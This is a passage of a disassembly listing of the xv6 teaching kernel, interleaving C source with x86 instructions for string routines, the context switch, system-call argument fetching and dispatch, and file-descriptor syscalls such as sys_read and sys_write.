$0xc,%esp return memmove(dst, src, n); 80105f56: 8b 45 10 mov 0x10(%ebp),%eax 80105f59: 89 44 24 08 mov %eax,0x8(%esp) 80105f5d: 8b 45 0c mov 0xc(%ebp),%eax 80105f60: 89 44 24 04 mov %eax,0x4(%esp) 80105f64: 8b 45 08 mov 0x8(%ebp),%eax 80105f67: 89 04 24 mov %eax,(%esp) 80105f6a: e8 5e ff ff ff call 80105ecd <memmove> } 80105f6f: c9 leave 80105f70: c3 ret 80105f71 <strncmp>: int strncmp(const char *p, const char *q, uint n) { 80105f71: 55 push %ebp 80105f72: 89 e5 mov %esp,%ebp while(n > 0 && *p && *p == *q) 80105f74: eb 0c jmp 80105f82 <strncmp+0x11> n--, p++, q++; 80105f76: 83 6d 10 01 subl $0x1,0x10(%ebp) 80105f7a: 83 45 08 01 addl $0x1,0x8(%ebp) 80105f7e: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strncmp(const char *p, const char *q, uint n) { while(n > 0 && *p && *p == *q) 80105f82: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 80105f86: 74 1a je 80105fa2 <strncmp+0x31> 80105f88: 8b 45 08 mov 0x8(%ebp),%eax 80105f8b: 0f b6 00 movzbl (%eax),%eax 80105f8e: 84 c0 test %al,%al 80105f90: 74 10 je 80105fa2 <strncmp+0x31> 80105f92: 8b 45 08 mov 0x8(%ebp),%eax 80105f95: 0f b6 10 movzbl (%eax),%edx 80105f98: 8b 45 0c mov 0xc(%ebp),%eax 80105f9b: 0f b6 00 movzbl (%eax),%eax 80105f9e: 38 c2 cmp %al,%dl 80105fa0: 74 d4 je 80105f76 <strncmp+0x5> n--, p++, q++; if(n == 0) 80105fa2: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 80105fa6: 75 07 jne 80105faf <strncmp+0x3e> return 0; 80105fa8: b8 00 00 00 00 mov $0x0,%eax 80105fad: eb 18 jmp 80105fc7 <strncmp+0x56> return (uchar)*p - (uchar)*q; 80105faf: 8b 45 08 mov 0x8(%ebp),%eax 80105fb2: 0f b6 00 movzbl (%eax),%eax 80105fb5: 0f b6 d0 movzbl %al,%edx 80105fb8: 8b 45 0c mov 0xc(%ebp),%eax 80105fbb: 0f b6 00 movzbl (%eax),%eax 80105fbe: 0f b6 c0 movzbl %al,%eax 80105fc1: 89 d1 mov %edx,%ecx 80105fc3: 29 c1 sub %eax,%ecx 80105fc5: 89 c8 mov %ecx,%eax } 80105fc7: 5d pop %ebp 80105fc8: c3 ret 80105fc9 <strncpy>: char* strncpy(char *s, const char *t, int n) { 80105fc9: 55 push %ebp 80105fca: 89 e5 mov %esp,%ebp 80105fcc: 83 ec 10 sub $0x10,%esp char *os; os = s; 80105fcf: 8b 45 08 mov 0x8(%ebp),%eax 80105fd2: 89 45 fc mov %eax,-0x4(%ebp) while(n-- > 0 && (*s++ = *t++) != 0) 80105fd5: 90 nop 80105fd6: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 80105fda: 0f 9f c0 setg %al 80105fdd: 83 6d 10 01 subl $0x1,0x10(%ebp) 80105fe1: 84 c0 test %al,%al 80105fe3: 74 30 je 80106015 <strncpy+0x4c> 80105fe5: 8b 45 0c mov 0xc(%ebp),%eax 80105fe8: 0f b6 10 movzbl (%eax),%edx 80105feb: 8b 45 08 mov 0x8(%ebp),%eax 80105fee: 88 10 mov %dl,(%eax) 80105ff0: 8b 45 08 mov 0x8(%ebp),%eax 80105ff3: 0f b6 00 movzbl (%eax),%eax 80105ff6: 84 c0 test %al,%al 80105ff8: 0f 95 c0 setne %al 80105ffb: 83 45 08 01 addl $0x1,0x8(%ebp) 80105fff: 83 45 0c 01 addl $0x1,0xc(%ebp) 80106003: 84 c0 test %al,%al 80106005: 75 cf jne 80105fd6 <strncpy+0xd> ; while(n-- > 0) 80106007: eb 0c jmp 80106015 <strncpy+0x4c> *s++ = 0; 80106009: 8b 45 08 mov 0x8(%ebp),%eax 8010600c: c6 00 00 movb $0x0,(%eax) 8010600f: 83 45 08 01 addl $0x1,0x8(%ebp) 80106013: eb 01 jmp 80106016 <strncpy+0x4d> char *os; os = s; while(n-- > 0 && (*s++ = *t++) != 0) ; while(n-- > 0) 80106015: 90 nop 80106016: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 8010601a: 0f 9f c0 setg %al 8010601d: 83 6d 10 01 subl $0x1,0x10(%ebp) 80106021: 84 c0 test %al,%al 80106023: 75 e4 jne 80106009 <strncpy+0x40> *s++ = 0; return os; 80106025: 8b 45 fc mov -0x4(%ebp),%eax } 80106028: c9 leave 80106029: c3 ret 8010602a <safestrcpy>: // Like strncpy but guaranteed to NUL-terminate. char* safestrcpy(char *s, const char *t, int n) { 8010602a: 55 push %ebp 8010602b: 89 e5 mov %esp,%ebp 8010602d: 83 ec 10 sub $0x10,%esp char *os; os = s; 80106030: 8b 45 08 mov 0x8(%ebp),%eax 80106033: 89 45 fc mov %eax,-0x4(%ebp) if(n <= 0) 80106036: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 8010603a: 7f 05 jg 80106041 <safestrcpy+0x17> return os; 8010603c: 8b 45 fc mov -0x4(%ebp),%eax 8010603f: eb 35 jmp 80106076 <safestrcpy+0x4c> while(--n > 0 && (*s++ = *t++) != 0) 80106041: 83 6d 10 01 subl $0x1,0x10(%ebp) 80106045: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 80106049: 7e 22 jle 8010606d <safestrcpy+0x43> 8010604b: 8b 45 0c mov 0xc(%ebp),%eax 8010604e: 0f b6 10 movzbl (%eax),%edx 80106051: 8b 45 08 mov 0x8(%ebp),%eax 80106054: 88 10 mov %dl,(%eax) 80106056: 8b 45 08 mov 0x8(%ebp),%eax 80106059: 0f b6 00 movzbl (%eax),%eax 8010605c: 84 c0 test %al,%al 8010605e: 0f 95 c0 setne %al 80106061: 83 45 08 01 addl $0x1,0x8(%ebp) 80106065: 83 45 0c 01 addl $0x1,0xc(%ebp) 80106069: 84 c0 test %al,%al 8010606b: 75 d4 jne 80106041 <safestrcpy+0x17> ; *s = 0; 8010606d: 8b 45 08 mov 0x8(%ebp),%eax 80106070: c6 00 00 movb $0x0,(%eax) return os; 80106073: 8b 45 fc mov -0x4(%ebp),%eax } 80106076: c9 leave 80106077: c3 ret 80106078 <strlen>: int strlen(const char *s) { 80106078: 55 push %ebp 80106079: 89 e5 mov %esp,%ebp 8010607b: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 8010607e: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 80106085: eb 04 jmp 8010608b <strlen+0x13> 80106087: 83 45 fc 01 addl $0x1,-0x4(%ebp) 8010608b: 8b 45 fc mov -0x4(%ebp),%eax 8010608e: 03 45 08 add 0x8(%ebp),%eax 80106091: 0f b6 00 movzbl (%eax),%eax 80106094: 84 c0 test %al,%al 80106096: 75 ef jne 80106087 <strlen+0xf> ; return n; 80106098: 8b 45 fc mov -0x4(%ebp),%eax } 8010609b: c9 leave 8010609c: c3 ret 8010609d: 00 00 add %al,(%eax) ... 801060a0 <swtch>: # Save current register context in old # and then load register context from new. .globl swtch swtch: movl 4(%esp), %eax 801060a0: 8b 44 24 04 mov 0x4(%esp),%eax movl 8(%esp), %edx 801060a4: 8b 54 24 08 mov 0x8(%esp),%edx # Save old callee-save registers pushl %ebp 801060a8: 55 push %ebp pushl %ebx 801060a9: 53 push %ebx pushl %esi 801060aa: 56 push %esi pushl %edi 801060ab: 57 push %edi # Switch stacks movl %esp, (%eax) 801060ac: 89 20 mov %esp,(%eax) movl %edx, %esp 801060ae: 89 d4 mov %edx,%esp # Load new callee-save registers popl %edi 801060b0: 5f pop %edi popl %esi 801060b1: 5e pop %esi popl %ebx 801060b2: 5b pop %ebx popl %ebp 801060b3: 5d pop %ebp ret 801060b4: c3 ret 801060b5: 00 00 add %al,(%eax) ... 801060b8 <fetchint>: // to a saved program counter, and then the first argument. // Fetch the int at addr from the current process. int fetchint(uint addr, int *ip) { 801060b8: 55 push %ebp 801060b9: 89 e5 mov %esp,%ebp if(addr >= proc->sz || addr+4 > proc->sz) 801060bb: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801060c1: 8b 00 mov (%eax),%eax 801060c3: 3b 45 08 cmp 0x8(%ebp),%eax 801060c6: 76 12 jbe 801060da <fetchint+0x22> 801060c8: 8b 45 08 mov 0x8(%ebp),%eax 801060cb: 8d 50 04 lea 0x4(%eax),%edx 801060ce: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801060d4: 8b 00 mov (%eax),%eax 801060d6: 39 c2 cmp %eax,%edx 801060d8: 76 07 jbe 801060e1 <fetchint+0x29> return -1; 801060da: b8 ff ff ff ff mov $0xffffffff,%eax 801060df: eb 0f jmp 801060f0 <fetchint+0x38> *ip = *(int*)(addr); 801060e1: 8b 45 08 mov 0x8(%ebp),%eax 801060e4: 8b 10 mov (%eax),%edx 801060e6: 8b 45 0c mov 0xc(%ebp),%eax 801060e9: 89 10 mov %edx,(%eax) return 0; 801060eb: b8 00 00 00 00 mov $0x0,%eax } 801060f0: 5d pop %ebp 801060f1: c3 ret 801060f2 <fetchstr>: // Fetch the nul-terminated string at addr from the current process. // Doesn't actually copy the string - just sets *pp to point at it. // Returns length of string, not including nul. int fetchstr(uint addr, char **pp) { 801060f2: 55 push %ebp 801060f3: 89 e5 mov %esp,%ebp 801060f5: 83 ec 10 sub $0x10,%esp char *s, *ep; if(addr >= proc->sz) 801060f8: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801060fe: 8b 00 mov (%eax),%eax 80106100: 3b 45 08 cmp 0x8(%ebp),%eax 80106103: 77 07 ja 8010610c <fetchstr+0x1a> return -1; 80106105: b8 ff ff ff ff mov $0xffffffff,%eax 8010610a: eb 48 jmp 80106154 <fetchstr+0x62> *pp = (char*)addr; 8010610c: 8b 55 08 mov 0x8(%ebp),%edx 8010610f: 8b 45 0c mov 0xc(%ebp),%eax 80106112: 89 10 mov %edx,(%eax) ep = (char*)proc->sz; 80106114: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010611a: 8b 00 mov (%eax),%eax 8010611c: 89 45 f8 mov %eax,-0x8(%ebp) for(s = *pp; s < ep; s++) 8010611f: 8b 45 0c mov 0xc(%ebp),%eax 80106122: 8b 00 mov (%eax),%eax 80106124: 89 45 fc mov %eax,-0x4(%ebp) 80106127: eb 1e jmp 80106147 <fetchstr+0x55> if(*s == 0) 80106129: 8b 45 fc mov -0x4(%ebp),%eax 8010612c: 0f b6 00 movzbl (%eax),%eax 8010612f: 84 c0 test %al,%al 80106131: 75 10 jne 80106143 <fetchstr+0x51> return s - *pp; 80106133: 8b 55 fc mov -0x4(%ebp),%edx 80106136: 8b 45 0c mov 0xc(%ebp),%eax 80106139: 8b 00 mov (%eax),%eax 8010613b: 89 d1 mov %edx,%ecx 8010613d: 29 c1 sub %eax,%ecx 8010613f: 89 c8 mov %ecx,%eax 80106141: eb 11 jmp 80106154 <fetchstr+0x62> if(addr >= proc->sz) return -1; *pp = (char*)addr; ep = (char*)proc->sz; for(s = *pp; s < ep; s++) 80106143: 83 45 fc 01 addl $0x1,-0x4(%ebp) 80106147: 8b 45 fc mov -0x4(%ebp),%eax 8010614a: 3b 45 f8 cmp -0x8(%ebp),%eax 8010614d: 72 da jb 80106129 <fetchstr+0x37> if(*s == 0) return s - *pp; return -1; 8010614f: b8 ff ff ff ff mov $0xffffffff,%eax } 80106154: c9 leave 80106155: c3 ret 80106156 <argint>: // Fetch the nth 32-bit system call argument. int argint(int n, int *ip) { 80106156: 55 push %ebp 80106157: 89 e5 mov %esp,%ebp 80106159: 83 ec 08 sub $0x8,%esp return fetchint(proc->tf->esp + 4 + 4*n, ip); 8010615c: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80106162: 8b 40 18 mov 0x18(%eax),%eax 80106165: 8b 50 44 mov 0x44(%eax),%edx 80106168: 8b 45 08 mov 0x8(%ebp),%eax 8010616b: c1 e0 02 shl $0x2,%eax 8010616e: 01 d0 add %edx,%eax 80106170: 8d 50 04 lea 0x4(%eax),%edx 80106173: 8b 45 0c mov 0xc(%ebp),%eax 80106176: 89 44 24 04 mov %eax,0x4(%esp) 8010617a: 89 14 24 mov %edx,(%esp) 8010617d: e8 36 ff ff ff call 801060b8 <fetchint> } 80106182: c9 leave 80106183: c3 ret 80106184 <argptr>: // Fetch the nth word-sized system call argument as a pointer // to a block of memory of size n bytes. Check that the pointer // lies within the process address space. int argptr(int n, char **pp, int size) { 80106184: 55 push %ebp 80106185: 89 e5 mov %esp,%ebp 80106187: 83 ec 18 sub $0x18,%esp int i; if(argint(n, &i) < 0) 8010618a: 8d 45 fc lea -0x4(%ebp),%eax 8010618d: 89 44 24 04 mov %eax,0x4(%esp) 80106191: 8b 45 08 mov 0x8(%ebp),%eax 80106194: 89 04 24 mov %eax,(%esp) 80106197: e8 ba ff ff ff call 80106156 <argint> 8010619c: 85 c0 test %eax,%eax 8010619e: 79 07 jns 801061a7 <argptr+0x23> return -1; 801061a0: b8 ff ff ff ff mov $0xffffffff,%eax 801061a5: eb 3d jmp 801061e4 <argptr+0x60> if((uint)i >= proc->sz || (uint)i+size > proc->sz) 801061a7: 8b 45 fc mov -0x4(%ebp),%eax 801061aa: 89 c2 mov %eax,%edx 801061ac: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801061b2: 8b 00 mov (%eax),%eax 801061b4: 39 c2 cmp %eax,%edx 801061b6: 73 16 jae 801061ce <argptr+0x4a> 801061b8: 8b 45 fc mov -0x4(%ebp),%eax 801061bb: 89 c2 mov %eax,%edx 801061bd: 8b 45 10 mov 0x10(%ebp),%eax 801061c0: 01 c2 add %eax,%edx 801061c2: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801061c8: 8b 00 mov (%eax),%eax 801061ca: 39 c2 cmp %eax,%edx 801061cc: 76 07 jbe 801061d5 <argptr+0x51> return -1; 801061ce: b8 ff ff ff ff mov $0xffffffff,%eax 801061d3: eb 0f jmp 801061e4 <argptr+0x60> *pp = (char*)i; 801061d5: 8b 45 fc mov -0x4(%ebp),%eax 801061d8: 89 c2 mov %eax,%edx 801061da: 8b 45 0c mov 0xc(%ebp),%eax 801061dd: 89 10 mov %edx,(%eax) return 0; 801061df: b8 00 00 00 00 mov $0x0,%eax } 801061e4: c9 leave 801061e5: c3 ret 801061e6 <argstr>: // Check that the pointer is valid and the string is nul-terminated. // (There is no shared writable memory, so the string can't change // between this check and being used by the kernel.) int argstr(int n, char **pp) { 801061e6: 55 push %ebp 801061e7: 89 e5 mov %esp,%ebp 801061e9: 83 ec 18 sub $0x18,%esp int addr; if(argint(n, &addr) < 0) 801061ec: 8d 45 fc lea -0x4(%ebp),%eax 801061ef: 89 44 24 04 mov %eax,0x4(%esp) 801061f3: 8b 45 08 mov 0x8(%ebp),%eax 801061f6: 89 04 24 mov %eax,(%esp) 801061f9: e8 58 ff ff ff call 80106156 <argint> 801061fe: 85 c0 test %eax,%eax 80106200: 79 07 jns 80106209 <argstr+0x23> return -1; 80106202: b8 ff ff ff ff mov $0xffffffff,%eax 80106207: eb 12 jmp 8010621b <argstr+0x35> return fetchstr(addr, pp); 80106209: 8b 45 fc mov -0x4(%ebp),%eax 8010620c: 8b 55 0c mov 0xc(%ebp),%edx 8010620f: 89 54 24 04 mov %edx,0x4(%esp) 80106213: 89 04 24 mov %eax,(%esp) 80106216: e8 d7 fe ff ff call 801060f2 <fetchstr> } 8010621b: c9 leave 8010621c: c3 ret 8010621d <syscall>: [SYS_yield] sys_yield, }; void syscall(void) { 8010621d: 55 push %ebp 8010621e: 89 e5 mov %esp,%ebp 80106220: 53 push %ebx 80106221: 83 ec 24 sub $0x24,%esp int num; num = proc->tf->eax; 80106224: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010622a: 8b 40 18 mov 0x18(%eax),%eax 8010622d: 8b 40 1c mov 0x1c(%eax),%eax 80106230: 89 45 f4 mov %eax,-0xc(%ebp) if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { 80106233: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80106237: 7e 30 jle 80106269 <syscall+0x4c> 80106239: 8b 45 f4 mov -0xc(%ebp),%eax 8010623c: 83 f8 18 cmp $0x18,%eax 8010623f: 77 28 ja 80106269 <syscall+0x4c> 80106241: 8b 45 f4 mov -0xc(%ebp),%eax 80106244: 8b 04 85 40 c0 10 80 mov -0x7fef3fc0(,%eax,4),%eax 8010624b: 85 c0 test %eax,%eax 8010624d: 74 1a je 80106269 <syscall+0x4c> proc->tf->eax = syscalls[num](); 8010624f: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80106255: 8b 58 18 mov 0x18(%eax),%ebx 80106258: 8b 45 f4 mov -0xc(%ebp),%eax 8010625b: 8b 04 85 40 c0 10 80 mov -0x7fef3fc0(,%eax,4),%eax 80106262: ff d0 call *%eax 80106264: 89 43 1c mov %eax,0x1c(%ebx) 80106267: eb 3d jmp 801062a6 <syscall+0x89> } else { cprintf("%d %s: unknown sys call %d\n", proc->pid, proc->name, num); 80106269: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010626f: 8d 48 6c lea 0x6c(%eax),%ecx 80106272: 65 a1 04 00 00 00 mov %gs:0x4,%eax num = proc->tf->eax; if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { proc->tf->eax = syscalls[num](); } else { cprintf("%d %s: unknown sys call %d\n", 80106278: 8b 40 10 mov 0x10(%eax),%eax 8010627b: 8b 55 f4 mov -0xc(%ebp),%edx 8010627e: 89 54 24 0c mov %edx,0xc(%esp) 80106282: 89 4c 24 08 mov %ecx,0x8(%esp) 80106286: 89 44 24 04 mov %eax,0x4(%esp) 8010628a: c7 04 24 f7 96 10 80 movl $0x801096f7,(%esp) 80106291: e8 0b a1 ff ff call 801003a1 <cprintf> proc->pid, proc->name, num); proc->tf->eax = -1; 80106296: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010629c: 8b 40 18 mov 0x18(%eax),%eax 8010629f: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax) } } 801062a6: 83 c4 24 add $0x24,%esp 801062a9: 5b pop %ebx 801062aa: 5d pop %ebp 801062ab: c3 ret 801062ac <argfd>: // Fetch the nth word-sized system call argument as a file descriptor // and return both the descriptor and the corresponding struct file. static int argfd(int n, int *pfd, struct file **pf) { 801062ac: 55 push %ebp 801062ad: 89 e5 mov %esp,%ebp 801062af: 83 ec 28 sub $0x28,%esp int fd; struct file *f; if(argint(n, &fd) < 0) 801062b2: 8d 45 f0 lea -0x10(%ebp),%eax 801062b5: 89 44 24 04 mov %eax,0x4(%esp) 801062b9: 8b 45 08 mov 0x8(%ebp),%eax 801062bc: 89 04 24 mov %eax,(%esp) 801062bf: e8 92 fe ff ff call 80106156 <argint> 801062c4: 85 c0 test %eax,%eax 801062c6: 79 07 jns 801062cf <argfd+0x23> return -1; 801062c8: b8 ff ff ff ff mov $0xffffffff,%eax 801062cd: eb 50 jmp 8010631f <argfd+0x73> if(fd < 0 || fd >= NOFILE || (f=proc->ofile[fd]) == 0) 801062cf: 8b 45 f0 mov -0x10(%ebp),%eax 801062d2: 85 c0 test %eax,%eax 801062d4: 78 21 js 801062f7 <argfd+0x4b> 801062d6: 8b 45 f0 mov -0x10(%ebp),%eax 801062d9: 83 f8 0f cmp $0xf,%eax 801062dc: 7f 19 jg 801062f7 <argfd+0x4b> 801062de: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801062e4: 8b 55 f0 mov -0x10(%ebp),%edx 801062e7: 83 c2 08 add $0x8,%edx 801062ea: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax 801062ee: 89 45 f4 mov %eax,-0xc(%ebp) 801062f1: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 801062f5: 75 07 jne 801062fe <argfd+0x52> return -1; 801062f7: b8 ff ff ff ff mov $0xffffffff,%eax 801062fc: eb 21 jmp 8010631f <argfd+0x73> if(pfd) 801062fe: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 80106302: 74 08 je 8010630c <argfd+0x60> *pfd = fd; 80106304: 8b 55 f0 mov -0x10(%ebp),%edx 80106307: 8b 45 0c mov 0xc(%ebp),%eax 8010630a: 89 10 mov %edx,(%eax) if(pf) 8010630c: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 80106310: 74 08 je 8010631a <argfd+0x6e> *pf = f; 80106312: 8b 45 10 mov 0x10(%ebp),%eax 80106315: 8b 55 f4 mov -0xc(%ebp),%edx 80106318: 89 10 mov %edx,(%eax) return 0; 8010631a: b8 00 00 00 00 mov $0x0,%eax } 8010631f: c9 leave 80106320: c3 ret 80106321 <fdalloc>: // Allocate a file descriptor for the given file. // Takes over file reference from caller on success. static int fdalloc(struct file *f) { 80106321: 55 push %ebp 80106322: 89 e5 mov %esp,%ebp 80106324: 83 ec 10 sub $0x10,%esp int fd; for(fd = 0; fd < NOFILE; fd++){ 80106327: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 8010632e: eb 30 jmp 80106360 <fdalloc+0x3f> if(proc->ofile[fd] == 0){ 80106330: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80106336: 8b 55 fc mov -0x4(%ebp),%edx 80106339: 83 c2 08 add $0x8,%edx 8010633c: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax 80106340: 85 c0 test %eax,%eax 80106342: 75 18 jne 8010635c <fdalloc+0x3b> proc->ofile[fd] = f; 80106344: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010634a: 8b 55 fc mov -0x4(%ebp),%edx 8010634d: 8d 4a 08 lea 0x8(%edx),%ecx 80106350: 8b 55 08 mov 0x8(%ebp),%edx 80106353: 89 54 88 08 mov %edx,0x8(%eax,%ecx,4) return fd; 80106357: 8b 45 fc mov -0x4(%ebp),%eax 8010635a: eb 0f jmp 8010636b <fdalloc+0x4a> static int fdalloc(struct file *f) { int fd; for(fd = 0; fd < NOFILE; fd++){ 8010635c: 83 45 fc 01 addl $0x1,-0x4(%ebp) 80106360: 83 7d fc 0f cmpl $0xf,-0x4(%ebp) 80106364: 7e ca jle 80106330 <fdalloc+0xf> if(proc->ofile[fd] == 0){ proc->ofile[fd] = f; return fd; } } return -1; 80106366: b8 ff ff ff ff mov $0xffffffff,%eax } 8010636b: c9 leave 8010636c: c3 ret 8010636d <sys_dup>: int sys_dup(void) { 8010636d: 55 push %ebp 8010636e: 89 e5 mov %esp,%ebp 80106370: 83 ec 28 sub $0x28,%esp struct file *f; int fd; if(argfd(0, 0, &f) < 0) 80106373: 8d 45 f0 lea -0x10(%ebp),%eax 80106376: 89 44 24 08 mov %eax,0x8(%esp) 8010637a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80106381: 00 80106382: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80106389: e8 1e ff ff ff call 801062ac <argfd> 8010638e: 85 c0 test %eax,%eax 80106390: 79 07 jns 80106399 <sys_dup+0x2c> return -1; 80106392: b8 ff ff ff ff mov $0xffffffff,%eax 80106397: eb 29 jmp 801063c2 <sys_dup+0x55> if((fd=fdalloc(f)) < 0) 80106399: 8b 45 f0 mov -0x10(%ebp),%eax 8010639c: 89 04 24 mov %eax,(%esp) 8010639f: e8 7d ff ff ff call 80106321 <fdalloc> 801063a4: 89 45 f4 mov %eax,-0xc(%ebp) 801063a7: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 801063ab: 79 07 jns 801063b4 <sys_dup+0x47> return -1; 801063ad: b8 ff ff ff ff mov $0xffffffff,%eax 801063b2: eb 0e jmp 801063c2 <sys_dup+0x55> filedup(f); 801063b4: 8b 45 f0 mov -0x10(%ebp),%eax 801063b7: 89 04 24 mov %eax,(%esp) 801063ba: e8 f9 b3 ff ff call 801017b8 <filedup> return fd; 801063bf: 8b 45 f4 mov -0xc(%ebp),%eax } 801063c2: c9 leave 801063c3: c3 ret 801063c4 <sys_read>: int sys_read(void) { 801063c4: 55 push %ebp 801063c5: 89 e5 mov %esp,%ebp 801063c7: 83 ec 28 sub $0x28,%esp struct file *f; int n; char *p; if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 801063ca: 8d 45 f4 lea -0xc(%ebp),%eax 801063cd: 89 44 24 08 mov %eax,0x8(%esp) 801063d1: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 801063d8: 00 801063d9: c7 04 24 00 00 00 00 movl $0x0,(%esp) 801063e0: e8 c7 fe ff ff call 801062ac <argfd> 801063e5: 85 c0 test %eax,%eax 801063e7: 78 35 js 8010641e <sys_read+0x5a> 801063e9: 8d 45 f0 lea -0x10(%ebp),%eax 801063ec: 89 44 24 04 mov %eax,0x4(%esp) 801063f0: c7 04 24 02 00 00 00 movl $0x2,(%esp) 801063f7: e8 5a fd ff ff call 80106156 <argint> 801063fc: 85 c0 test %eax,%eax 801063fe: 78 1e js 8010641e <sys_read+0x5a> 80106400: 8b 45 f0 mov -0x10(%ebp),%eax 80106403: 89 44 24 08 mov %eax,0x8(%esp) 80106407: 8d 45 ec lea -0x14(%ebp),%eax 8010640a: 89 44 24 04 mov %eax,0x4(%esp) 8010640e: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80106415: e8 6a fd ff ff call 80106184 <argptr> 8010641a: 85 c0 test %eax,%eax 8010641c: 79 07 jns 80106425 <sys_read+0x61> return -1; 8010641e: b8 ff ff ff ff mov $0xffffffff,%eax 80106423: eb 19 jmp 8010643e <sys_read+0x7a> return fileread(f, p, n); 80106425: 8b 4d f0 mov -0x10(%ebp),%ecx 80106428: 8b 55 ec mov -0x14(%ebp),%edx 8010642b: 8b 45 f4 mov -0xc(%ebp),%eax 8010642e: 89 4c 24 08 mov %ecx,0x8(%esp) 80106432: 89 54 24 04 mov %edx,0x4(%esp) 80106436: 89 04 24 mov %eax,(%esp) 80106439: e8 e7 b4 ff ff call 80101925 <fileread> } 8010643e: c9 leave 8010643f: c3 ret 80106440 <sys_write>: int sys_write(void) { 80106440: 55 push %ebp 80106441: 89 e5 mov %esp,%ebp 80106443: 83 ec 28 sub $0x28,%esp struct file *f; int n; char *p; if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80106446: 8d 45 f4 lea -0xc(%ebp),%eax 80106449: 89 44 24 08 mov %eax,0x8(%esp) 8010644d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80106454: 00 80106455: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8010645c: e8 4b fe ff ff call 801062ac <argfd> 80106461: 85 c0 test %eax,%eax 80106463: 78 35 js 8010649a <sys_write+0x5a> 80106465: 8d 45 f0 lea -0x10(%ebp),%eax 80106468: 89 44 24 04 mov %eax,0x4(%esp) 8010646c: c7 04 24 02 00 00 00 movl $0x2,(%esp) 80106473: e8 de fc ff ff call 80106156 <argint> 80106478: 85 c0 test %eax,%eax 8010647a: 78 1e js 8010649a <sys_write+0x5a> 8010647c: 8b 45 f0 mov -0x10(%ebp),%eax 8010647f: 89 44 24 08 mov %eax,0x8(%esp) 80106483: 8d 45 ec lea -0x14(%ebp),%eax 80106486: 89 44 24 04 mov %eax,0x4(%esp) 8010648a: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80106491: e8 ee fc ff ff call 80106184 <argptr> 80106496: 85 c0 test %eax,%eax 80106498: 79 07 jns 801064a1 <sys_write+0x61> return -1; 8010649a: b8 ff ff ff ff mov $0xffffffff,%eax 8010649f: eb 19 jmp 801064ba <sys_write+0x7a> return filewrite(f, p, n); 801064a1: 8b 4d f0 mov -0x10(%ebp),%ecx 801064a4: 8b 55 ec mov -0x14(%ebp),%edx 801064a7: 8b 45 f4 mov -0xc(%ebp),%eax 801064aa: 89 4c 24 08 mov %ecx,0x8(%esp) 801064ae: 89 54 24 04 mov %edx,0x4(%esp) 801064b2: 89 04 24 mov %eax,(%esp) 801064b5: e8 27 b5 ff ff call 801019e1 <filewrite> } 801064ba: c9 leave 801064bb: c3 ret 801064bc <sys_close>: int sys_close(void) { 801064bc: 55 push %ebp 801064bd: 89 e5 mov %esp,%ebp 801064bf: 83 ec 28 sub $0x28,%esp int fd; struct file *f; if(argfd(0, &fd, &f) < 0) 801064c2: 8d 45 f0 lea -0x10(%ebp),%eax 801064c5: 89 44 24 08 mov %eax,0x8(%esp) 801064c9: 8d 45 f4 lea -0xc(%ebp),%eax 801064cc: 89 44 24 04 mov %eax,0x4(%esp) 801064d0: c7 04 24 00 00 00 00 movl $0x0,(%esp) 801064d7: e8 d0 fd ff ff call 801062ac <argfd> 801064dc: 85 c0 test %eax,%eax 801064de: 79 07 jns 801064e7 <sys_close+0x2b> return -1; 801064e0: b8 ff ff ff ff mov $0xffffffff,%eax 801064e5: eb 24 jmp 8010650b <sys_close+0x4f> proc->ofile[fd] = 0; 801064e7: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801064ed: 8b 55 f4 mov -0xc(%ebp),%edx 801064f0: 83 c2 08 add $0x8,%edx 801064f3: c7 44 90 08 00 00 00 movl $0x0,0x8(%eax,%edx,4) 801064fa: 00 fileclose(f); 801064fb: 8b 45 f0 mov -0x10(%ebp),%eax 801064fe: 89 04 24 mov %eax,(%esp) 80106501: e8 fa b2 ff ff call 80101800 <fileclose> return 0; 80106506: b8 00 00 00 00 mov $0x0,%eax } 8010650b: c9 leave 8010650c: c3 ret 8010650d <sys_fstat>: int sys_fstat(void) { 8010650d: 55 push %ebp 8010650e: 89 e5 mov %esp,%ebp 80106510: 83 ec 28 sub $0x28,%esp struct file *f; struct stat *st; if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) 80106513: 8d 45 